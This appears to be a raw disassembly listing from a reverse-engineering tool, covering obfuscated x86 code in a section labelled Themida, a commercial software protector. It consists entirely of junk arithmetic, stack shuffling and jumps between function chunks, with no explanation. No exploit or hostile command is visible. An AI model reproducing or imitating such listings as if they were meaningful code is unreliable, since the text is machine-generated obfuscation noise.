xchg ebp, [esp+12h+var_12]
mov esp, [esp+12h+var_12]
xor bh, 0CBh
add al, bh
pop ebx
add al, 89h
sub al, bl
sub al, 89h
sub esp, 4
jmp loc_567F1F
; END OF FUNCTION CHUNK FOR sub_5754DA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570FB7
loc_56C458: ; CODE XREF: sub_570FB7-3612j
mov [esp+0Ch+var_C], eax
push [esp+0Ch+var_C]
mov ebx, [esp+10h+var_10]
sub esp, 4
mov [esp+0], ebx
push esp
pop ebx
add ebx, 4
jmp loc_5715A7
; END OF FUNCTION CHUNK FOR sub_570FB7
; =============== S U B R O U T I N E =======================================
sub_56C474 proc near ; DATA XREF: Themida_:0055FF08o
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0056A33E SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0056B03C SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056F138 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00573F6A SIZE 00000008 BYTES
push dword ptr [esp+0]
mov eax, [esp+4+var_4]
push ebx
push 385Ah
mov [esp+0Ch+var_C], esp
push 36AAh
jmp loc_573F6A
sub_56C474 endp
; =============== S U B R O U T I N E =======================================
sub_56C48D proc near ; CODE XREF: sub_56C7AA-9827j
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00568D31 SIZE 00000007 BYTES
sub esp, 4
mov [esp+4+var_4], ecx
mov ecx, 57602B6Dh
shr ecx, 8
sub ecx, 1BE33D23h
neg ecx
add ecx, 54520A17h
sub ecx, 1BD085BAh
push edx
mov edx, 6C832D9Fh
xor ecx, edx
mov edx, [esp+8+var_8]
add esp, 4
add eax, 5372071Bh
sub eax, ecx
sub eax, 5372071Bh
push [esp+4+var_4]
push [esp+8+var_8]
jmp loc_568D31
sub_56C48D endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561027
loc_56C4D7: ; CODE XREF: sub_561027+3159j
or edx, esi
pop esi
dec edx
push ecx
push edx
mov edx, 7AC5700h
dec edx
xor edx, 2BC4B57h
mov ecx, edx
pop edx
xor edx, ecx
jmp loc_566986
; END OF FUNCTION CHUNK FOR sub_561027
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E96D
loc_56C4F3: ; CODE XREF: sub_56E96D-1603j
mov edx, 7EE91CBDh
xor esi, edx
jmp loc_573AA8
; END OF FUNCTION CHUNK FOR sub_56E96D
; =============== S U B R O U T I N E =======================================
sub_56C4FF proc near ; CODE XREF: sub_572EDC-12B5Cj
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0056081D SIZE 00000027 BYTES
; FUNCTION CHUNK AT 00566D0E SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005688BF SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056F528 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 00570FD1 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00571C75 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005724F0 SIZE 0000000C BYTES
push ebp
mov ebp, 24FE314Ah
inc ebp
or ebp, 260F0C09h
jmp loc_5724F0
sub_56C4FF endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57199D
loc_56C511: ; CODE XREF: sub_57199D-14EEj
push 404B7859h
pop ecx
sub eax, 14985F36h
sub eax, 400D2D1Eh
add eax, ecx
push ebx
push 31096621h
jmp loc_567E1A
; END OF FUNCTION CHUNK FOR sub_57199D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565632
loc_56C52E: ; CODE XREF: sub_565632+65ACj
mov esi, 3A175949h
push ecx
mov ecx, 524D3C39h
sub esi, ecx
jmp loc_56CAE8
; END OF FUNCTION CHUNK FOR sub_565632
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5733CA
loc_56C540: ; CODE XREF: sub_5733CA+3AFj
mov ecx, ebx
pop ebx
sub esi, ecx
pop ecx
add ecx, 65DF5821h
add ecx, esi
jmp loc_562368
; END OF FUNCTION CHUNK FOR sub_5733CA
; =============== S U B R O U T I N E =======================================
sub_56C553 proc near ; CODE XREF: sub_56C295-B25Aj
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0056134D SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00562583 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005724FC SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0057346C SIZE 00000010 BYTES
sub esp, 4
mov [esp+4+var_4], ecx
jmp loc_57346C
sub_56C553 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57354D
loc_56C561: ; CODE XREF: sub_57354D-B254j
mov ebx, 57AF4918h
jmp loc_572768
; END OF FUNCTION CHUNK FOR sub_57354D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560844
loc_56C56B: ; CODE XREF: sub_560844+4560j
mov ebx, 4413697Fh
xor ecx, ebx
pop ebx
xor ecx, 0E7F6766h
jmp loc_560BE4
; END OF FUNCTION CHUNK FOR sub_560844
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569A75
loc_56C57E: ; CODE XREF: sub_569A75+92ECj
add esp, 4
jmp loc_56CC3F
; END OF FUNCTION CHUNK FOR sub_569A75
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_568D9E
loc_56C589: ; CODE XREF: sub_568D9E+1833j
push edx
push ebp
mov ebp, 0A4465DEh
push 32C9124Eh
mov edx, [esp+8+var_8]
add esp, 4
add edx, 51A900D5h
jmp loc_564AE1
; END OF FUNCTION CHUNK FOR sub_568D9E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5734A7
loc_56C5A6: ; CODE XREF: sub_5734A7-F8A1j
push 53A2h
mov [esp+8+var_8], ebx
mov ebx, esp
add ebx, 4
push edx
mov edx, 4
jmp loc_56C1CE
; END OF FUNCTION CHUNK FOR sub_5734A7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_573A7F
loc_56C5C1: ; CODE XREF: sub_573A7F-3D30j
not [esp+8+var_8]
jmp loc_572B58
; END OF FUNCTION CHUNK FOR sub_573A7F
; ---------------------------------------------------------------------------
loc_56C5C9: ; CODE XREF: Themida_:0056C9A8j
xor eax, 7F362F67h
mov ebx, eax
jmp loc_5675E2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566400
loc_56C5D5: ; CODE XREF: sub_566400-151Cj
mov edx, 16300476h
add edx, ebx
jmp loc_569F18
; END OF FUNCTION CHUNK FOR sub_566400
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564D26
loc_56C5E1: ; CODE XREF: sub_564D26-27F2j
not [esp+4+var_4]
pop ebp
push ebx
push ebp
pop ebx
pop ebp
xchg ebx, esi
inc esi
jmp loc_56830D
; END OF FUNCTION CHUNK FOR sub_564D26
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570621
loc_56C5F1: ; CODE XREF: sub_570621-D381j
xor edx, ecx
jmp loc_563683
; END OF FUNCTION CHUNK FOR sub_570621
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56616D
loc_56C5F8: ; CODE XREF: sub_56616D+871Bj
push [esp-14h+arg_10]
mov eax, [esp-10h+arg_C]
add esp, 4
push ecx
mov ecx, esp
push esi
jmp loc_569BCA
; END OF FUNCTION CHUNK FOR sub_56616D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_567D31
loc_56C60A: ; CODE XREF: sub_567D31+9C4Aj
mov edi, 66F42050h
add [esp+8+var_4], edi
jmp loc_570855
; END OF FUNCTION CHUNK FOR sub_567D31
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574F16
loc_56C618: ; CODE XREF: sub_574F16-C0DCj
push edx
push ecx
mov ch, 0D3h
jmp loc_568992
; END OF FUNCTION CHUNK FOR sub_574F16
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5605BC
loc_56C621: ; CODE XREF: sub_5605BC+E660j
push eax
mov eax, 4
add edx, 3A8769D3h
add edx, eax
sub edx, 3A8769D3h
pop eax
push esi
sub esp, 4
mov [esp+18h+var_18], eax
mov eax, esp
push esi
mov esi, 9340293h
shl esi, 6
shl esi, 3
inc esi
sub esi, 680525FDh
add eax, esi
pop esi
jmp loc_5626D6
; END OF FUNCTION CHUNK FOR sub_5605BC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56EE9F
loc_56C65D: ; CODE XREF: sub_56EE9F-A2DFj
xor edi, ecx
mov ecx, [esp+0Ch+var_C]
jmp loc_5627A1
; END OF FUNCTION CHUNK FOR sub_56EE9F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56241E
loc_56C667: ; CODE XREF: sub_56241E+4450j
mov si, 0CD8h
inc si
and si, 401Ah
jmp loc_5692EB
; END OF FUNCTION CHUNK FOR sub_56241E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572075
loc_56C677: ; CODE XREF: sub_572075-9311j
add ecx, 791A2EF3h
jmp loc_564B88
; END OF FUNCTION CHUNK FOR sub_572075
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563A7F
loc_56C682: ; CODE XREF: sub_563A7F+FA1Bj
pop dx
sub bl, 1
xchg bl, cl
push eax
mov al, 64h
sub al, 0A7h
sub al, 41h
jmp loc_57079C
; END OF FUNCTION CHUNK FOR sub_563A7F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564EBE
loc_56C695: ; CODE XREF: sub_564EBE+B77j
neg ecx
neg ecx
sub ecx, 50470EB9h
sub ebx, ecx
pop ecx
push 313Dh
mov [esp+0], edx
push 426Ch
mov [esp+4+var_4], ebx
mov ebx, 619F466Dh
shl ebx, 6
sub esp, 4
mov [esp+8+var_8], ebx
neg [esp+8+var_8]
pop ebx
and ebx, 4CFA6579h
xor ebx, 172E2B0Eh
sub esp, 4
mov [esp+8+var_8], ebx
not [esp+8+var_8]
pop ebx
sub ebx, 6E1D42B6h
push ecx
mov ecx, ebx
mov edx, ecx
pop ecx
jmp loc_5643C9
; END OF FUNCTION CHUNK FOR sub_564EBE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56ACDE
loc_56C6EB: ; CODE XREF: sub_56ACDE+9168j
push dword ptr [esp+4]
push [esp+8+var_8]
pop edi
jmp sub_56BDE9
; END OF FUNCTION CHUNK FOR sub_56ACDE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566AF9
loc_56C6F8: ; CODE XREF: sub_566AF9-1F4Bj
not eax
or eax, 3C4D1FDAh
shr eax, 3
sub eax, 0C81F48CFh
or edx, eax
pop eax
shr edx, 5
push edx
xchg edx, [esp+0Ch+var_C]
not edx
push edx
push [esp+10h+var_C]
pop edx
pop [esp+10h+var_10]
push [esp+0Ch+var_C]
jmp loc_56BFE7
; END OF FUNCTION CHUNK FOR sub_566AF9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_573612
loc_56C724: ; CODE XREF: sub_573612+9j
add esp, 4
push 6489h
mov [esp+8+var_8], eax
mov eax, 43481A68h
add eax, 0BCB7E59Ch
push 48E4h
mov [esp+0Ch+var_C], edx
mov edx, 4D367AF6h
xor edx, 5ACA30B6h
jmp loc_5687AB
; END OF FUNCTION CHUNK FOR sub_573612
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56FD38
loc_56C754: ; CODE XREF: sub_56FD38-5624j
sub ebx, 63A36CD2h
jmp loc_5631AE
; END OF FUNCTION CHUNK FOR sub_56FD38
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E126
loc_56C75F: ; CODE XREF: sub_56E126-A9Ej
push 179Ch
jmp loc_570A8C
; END OF FUNCTION CHUNK FOR sub_56E126
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56A423
loc_56C769: ; CODE XREF: sub_56A423+8624j
and ecx, edx
pop edx
jmp loc_56C2A6
; END OF FUNCTION CHUNK FOR sub_56A423
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565B6E
loc_56C771: ; CODE XREF: sub_565B6E+9AE8j
push [esp+8+var_8]
pop edi
jmp sub_564EBE
; END OF FUNCTION CHUNK FOR sub_565B6E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570C6A
loc_56C77A: ; CODE XREF: sub_570C6A-B48Bj
add edi, 4
jmp loc_56B076
; END OF FUNCTION CHUNK FOR sub_570C6A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563A7F
loc_56C785: ; CODE XREF: sub_563A7F+7A39j
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp+0Ah+var_C+2]
pop esp
jmp loc_56AC8E
; END OF FUNCTION CHUNK FOR sub_563A7F
; =============== S U B R O U T I N E =======================================
sub_56C79C proc near ; CODE XREF: sub_5715F0-F072j
var_4 = dword ptr -4
sub esp, 4
mov [esp+4+var_4], ecx
jmp sub_56E0CB
sub_56C79C endp
; =============== S U B R O U T I N E =======================================
sub_56C7AA proc near ; CODE XREF: sub_56264C+1067Fj
var_C = dword ptr -0Ch
var_8 = dword ptr -8
; FUNCTION CHUNK AT 00562D60 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00562F78 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00565F37 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005664F4 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0056A6BE SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056ACFD SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00572120 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005731D7 SIZE 0000000B BYTES
push ebx
push esi
jmp loc_5664F4
sub_56C7AA endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56DBB0
loc_56C7B1: ; CODE XREF: sub_56DBB0-EDAj
sub ebx, 1F90346Ch
pop edi
push ebp
mov ebp, 36DC61B5h
add ebp, 0A06195Ah
add ebx, ebp
pop ebp
push small word ptr [eax]
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_56DBB0
; ---------------------------------------------------------------------------
loc_56C7CF: ; CODE XREF: Themida_:0056B0E2j
pop ecx
push esi
jmp loc_56A76E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570732
loc_56C7D6: ; CODE XREF: sub_570732-68C6j
mov esp, [esp+8+var_8]
and eax, edx
mov edx, [esp-4+arg_0]
push 6458h
mov [esp+0], ecx
jmp loc_574292
; END OF FUNCTION CHUNK FOR sub_570732
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56651E
loc_56C7EB: ; CODE XREF: sub_56651E+C50j
pop esp
jmp loc_56DAA9
; END OF FUNCTION CHUNK FOR sub_56651E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571289
loc_56C7F1: ; CODE XREF: sub_571289-10E11j
add eax, 34326190h
sub eax, esi
sub eax, 34326190h
pop esi
add eax, ebx
add eax, 31770CE5h
pop ebx
jmp loc_5696FE
; END OF FUNCTION CHUNK FOR sub_571289
; ---------------------------------------------------------------------------
loc_56C80B: ; CODE XREF: Themida_:00567861j
pop esp
sub ebx, ecx
push dword ptr [esp]
pop ecx
jmp loc_5619CC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570C6A
loc_56C817: ; CODE XREF: sub_570C6A-5BC5j
mov esi, 8AD62B2h
shl esi, 6
jmp loc_564307
; END OF FUNCTION CHUNK FOR sub_570C6A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E96D
loc_56C824: ; CODE XREF: sub_56E96D+514Dj
mov eax, [esp+4+var_4]
add esp, 4
xchg ebp, [esp+0]
mov esp, [esp+0]
bts [esp-4+arg_0], ax
pushf
jmp loc_56EE8A
; END OF FUNCTION CHUNK FOR sub_56E96D
; =============== S U B R O U T I N E =======================================
sub_56C83E proc near ; CODE XREF: sub_567D31-26ABj
var_C = dword ptr -0Ch
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00560937 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056410B SIZE 00000029 BYTES
; FUNCTION CHUNK AT 0056435A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00568829 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005690C5 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056AF3F SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0056D76C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056E9F6 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0056F8D3 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005721CD SIZE 0000002A BYTES
; FUNCTION CHUNK AT 0057255B SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0057301E SIZE 00000037 BYTES
; FUNCTION CHUNK AT 005735FF SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00574D66 SIZE 0000000C BYTES
sub esp, 4
mov [esp+4+var_4], edi
mov edi, esp
add edi, 4
push ebx
push 4
pop ebx
add edi, ebx
pop ebx
xchg edi, [esp+4+var_4]
pop esp
jmp loc_5690C5
sub_56C83E endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563A7F
loc_56C862: ; CODE XREF: sub_563A7F+AE52j
push 1C706EF9h
pop edx
sub edi, edx
mov edx, [esp+6+var_8+2]
jmp loc_563824
; END OF FUNCTION CHUNK FOR sub_563A7F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574304
loc_56C872: ; CODE XREF: sub_574304+58Dj
xor edx, 6D704CB3h
push eax
mov eax, 0FFFFFFFFh
jmp loc_561BAE
; END OF FUNCTION CHUNK FOR sub_574304
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5604FE
loc_56C883: ; CODE XREF: sub_5604FE+98B2j
mov edi, [esp+8+var_8]
jmp loc_560DB9
; END OF FUNCTION CHUNK FOR sub_5604FE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56FA15
loc_56C88B: ; CODE XREF: sub_56FA15-D6DFj
push eax
jmp loc_56A9EE
; END OF FUNCTION CHUNK FOR sub_56FA15
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564D26
loc_56C891: ; CODE XREF: sub_564D26+B10Cj
xor edx, 210E6A74h
jmp loc_566C6B
; END OF FUNCTION CHUNK FOR sub_564D26
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561418
loc_56C89C: ; CODE XREF: sub_561418+80DCj
xor [esp+14h+var_14], ecx
xor ecx, [esp+14h+var_14]
mov esp, [esp+14h+var_14]
mov [esp+14h+var_14], edx
pop dword ptr [edi+20h]
jmp loc_57529E
; END OF FUNCTION CHUNK FOR sub_561418
; ---------------------------------------------------------------------------
loc_56C8B0: ; CODE XREF: Themida_:0057469Aj
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
mov esp, [esp]
mov [esp], eax
push dword ptr [esp+4]
mov eax, [esp]
add esp, 4
jmp loc_5743F3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56AB5E
loc_56C8CE: ; CODE XREF: sub_56AB5E-A4D6j
mov edx, esp
add edx, 4
add edx, 4
jmp loc_5721BB
; END OF FUNCTION CHUNK FOR sub_56AB5E
; ---------------------------------------------------------------------------
loc_56C8E1: ; CODE XREF: Themida_:0056DC1Bj
xor [esp], eax
jmp loc_56D213
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_567D31
loc_56C8E9: ; CODE XREF: sub_567D31+9FADj
xor [esp+8+var_8], edi
xor edi, [esp+8+var_8]
mov esp, [esp+8+var_8]
shr esi, 3
push ecx
mov ecx, 0B5C2623h
add esi, ecx
jmp loc_567584
; END OF FUNCTION CHUNK FOR sub_567D31
; ---------------------------------------------------------------------------
loc_56C902: ; CODE XREF: Themida_:00562DB6j
push edi
mov edi, 4
add ecx, edi
pop edi
jmp loc_56E7F2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D855
loc_56C910: ; CODE XREF: sub_56D855-C20Ej
pop esp
push 674Ch
mov [esp+10h+var_10], ebx
mov ebx, 47A2B0Ch
add ebx, 1
jmp loc_5657CF
; END OF FUNCTION CHUNK FOR sub_56D855
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563BCC
loc_56C929: ; CODE XREF: sub_563BCC+2B62j
xchg edi, [esp+10h+var_10]
pop esp
add edi, edx
jmp loc_56FCCB
; END OF FUNCTION CHUNK FOR sub_563BCC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56F1DB
loc_56C934: ; CODE XREF: sub_56F1DB-5D85j
add edx, 10A614B9h
or edx, 57E6075Eh
sub edx, 0A7B81B07h
add esi, 768C4A0Fh
sub esi, edx
jmp loc_56028B
; END OF FUNCTION CHUNK FOR sub_56F1DB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56F3B2
loc_56C953: ; CODE XREF: sub_56F3B2+297Cj
add eax, 4
jmp loc_569408
; END OF FUNCTION CHUNK FOR sub_56F3B2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56A423
loc_56C95D: ; CODE XREF: sub_56A423+A845j
sub ecx, edx
mov edx, [esp+10h+var_10]
add esp, 4
jmp loc_571A2C
; END OF FUNCTION CHUNK FOR sub_56A423
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561979
loc_56C96D: ; CODE XREF: sub_561979+31j
mov esi, esp
push eax
jmp loc_56B1E4
; END OF FUNCTION CHUNK FOR sub_561979
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E05C
loc_56C975: ; CODE XREF: sub_56E05C-396Cj
mov [esp+4+var_4], esp
sub esp, 4
mov [esp+8+var_8], edx
mov edx, 4
add [esp+8+var_4], edx
pop edx
jmp loc_562151
; END OF FUNCTION CHUNK FOR sub_56E05C
; ---------------------------------------------------------------------------
loc_56C990: ; CODE XREF: Themida_:00570D48j
push dword ptr [esp]
pop esi
add esp, 4
push ebx
sub esp, 4
mov [esp], esp
push ebx
push eax
mov eax, 7F362F63h
jmp loc_56C5C9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571C93
loc_56C9AD: ; CODE XREF: sub_571C93-11AD9j
add edi, 1EB84A22h
mov ebp, edi
pop edi
add eax, ebp
push dword ptr [esp+0]
pop ebp
push edx
mov edx, esp
add edx, 4
jmp loc_5669A4
; END OF FUNCTION CHUNK FOR sub_571C93
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5643EB
loc_56C9CA: ; CODE XREF: sub_5643EB+65FEj
dec edx
dec edx
xor edx, 50531B8Dh
jmp loc_57536E
; END OF FUNCTION CHUNK FOR sub_5643EB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574656
loc_56C9D7: ; CODE XREF: sub_574656-65ABj
not esi
sub esi, 0D7FFB39Bh
jmp loc_5707B3
; END OF FUNCTION CHUNK FOR sub_574656
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570732
loc_56C9E4: ; CODE XREF: sub_570732+2BB6j
mov ebp, [esp+18h+var_18]
add esp, 4
push 2525h
mov [esp+18h+var_18], ebx
jmp loc_570075
; END OF FUNCTION CHUNK FOR sub_570732
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56AB5E
loc_56C9FA: ; CODE XREF: sub_56AB5E-38ACj
and bh, 49h
jmp loc_563866
; END OF FUNCTION CHUNK FOR sub_56AB5E
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop cx
rcr dword ptr [esp], cl
pushf
jmp loc_55FF9F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561418
loc_56CA11: ; CODE XREF: sub_561418+1386Fj
sub esi, 30C3134Ah
pop ebx
sub esp, 4
jmp loc_5601A8
; ---------------------------------------------------------------------------
loc_56CA20: ; CODE XREF: sub_561418+13064j
add esp, 4
push eax
mov eax, ebp
mov [edi+20h], eax
jmp loc_57528D
; END OF FUNCTION CHUNK FOR sub_561418
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560056
loc_56CA31: ; CODE XREF: sub_560056+9E95j
add eax, edi
sub eax, 0C7C37FBh
pop edi
push edi
mov edi, 4
add eax, edi
mov edi, [esp+0]
add esp, 4
xchg eax, [esp-4+arg_0]
mov esp, [esp-4+arg_0]
shr ecx, 6
sub esp, 4
mov [esp+0], edi
jmp loc_573F9D
; END OF FUNCTION CHUNK FOR sub_560056
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5685B2
loc_56CA5B: ; CODE XREF: sub_5685B2+791Cj
add esi, ebp
push ecx
mov ecx, 5F1344A6h
xor ecx, 4E6C6B30h
sub esi, ecx
jmp loc_565AAD
; END OF FUNCTION CHUNK FOR sub_5685B2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572141
loc_56CA70: ; CODE XREF: sub_572141-DDB3j
add ebp, edx
push ecx
mov ecx, 294C7FDFh
push 42BAh
mov [esp+10h+var_10], esi
jmp loc_567AB9
; END OF FUNCTION CHUNK FOR sub_572141
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5680AC
loc_56CA85: ; CODE XREF: sub_5680AC+BCCEj
xor eax, ebx
mov ebx, [esp+8+var_8]
jmp sub_57199D
; END OF FUNCTION CHUNK FOR sub_5680AC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56AB5E
loc_56CA8F: ; CODE XREF: sub_56AB5E+404Bj
push 310F42EAh
mov ecx, [esp+18h+var_18]
add esp, 4
neg ecx
dec ecx
not ecx
push edi
mov edi, 2FCA4993h
jmp loc_563763
; END OF FUNCTION CHUNK FOR sub_56AB5E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565A8D
loc_56CAAA: ; CODE XREF: sub_565A8D+2C53j
pop esi
sub esi, 0E701ADBh
jmp sub_56616D
; END OF FUNCTION CHUNK FOR sub_565A8D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57236D
loc_56CAB6: ; CODE XREF: sub_57236D-ADFBj
add esi, 4
xchg esi, [esp+8+var_8]
pop esp
add esp, 4
push ebx
mov ebx, 2BE40561h
jmp loc_56D83B
; END OF FUNCTION CHUNK FOR sub_57236D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5745B5
loc_56CACE: ; CODE XREF: sub_5745B5+362j
add bh, 1
shl bh, 2
add bh, 0FBh
or bh, 55h
sub bh, 1
push ecx
mov ch, 0D3h
shr ch, 4
jmp sub_56A016
; END OF FUNCTION CHUNK FOR sub_5745B5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565632
loc_56CAE8: ; CODE XREF: sub_565632+6F09j
pop ecx
xor esi, 222D64A6h
shl esi, 4
shl esi, 7
push 3349h
mov [esp-10h+arg_C], eax
jmp loc_56E289
; END OF FUNCTION CHUNK FOR sub_565632
; ---------------------------------------------------------------------------
loc_56CB02: ; CODE XREF: Themida_:005609E5j
push edx
mov edx, esp
push 523Fh
mov [esp], ebx
mov ebx, 7FA211A8h
jmp loc_565BC3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560056
loc_56CB17: ; CODE XREF: sub_560056+1j
mov ebp, 34B36A59h
not ebp
xor ebp, 0C730A25Dh
jmp loc_569EE8
; END OF FUNCTION CHUNK FOR sub_560056
; ---------------------------------------------------------------------------
loc_56CB29: ; CODE XREF: Themida_:00571FEFj
push 7F82h
mov [esp], ecx
mov ecx, esp
jmp loc_56ECB3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CC46
loc_56CB38: ; CODE XREF: sub_56CC46+3914j
mov edx, 5B560D51h
xor edx, 1FC969DFh
neg edx
not edx
jmp loc_572EA6
; END OF FUNCTION CHUNK FOR sub_56CC46
; ---------------------------------------------------------------------------
loc_56CB4C: ; CODE XREF: Themida_:005673D8j
xchg ebp, [esp]
pop esp
jmp loc_573B27
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56C38F
loc_56CB55: ; CODE XREF: sub_56C38F-A351j
push eax
neg [esp+0Ch+var_C]
pop eax
or eax, 3A830EBCh
sub eax, 3BCE9FAh
sub ebp, eax
pop eax
sub edx, ebp
pop ebp
add ecx, edx
push dword ptr [esp+0]
pop edx
push ebp
jmp loc_572B1E
; END OF FUNCTION CHUNK FOR sub_56C38F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56628B
loc_56CB76: ; CODE XREF: sub_56628B-1B1Fj
add [esp+10h+var_10], 41333CD3h
sub [esp+10h+var_10], eax
sub [esp+10h+var_10], 41333CD3h
jmp loc_566372
; END OF FUNCTION CHUNK FOR sub_56628B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5747D7
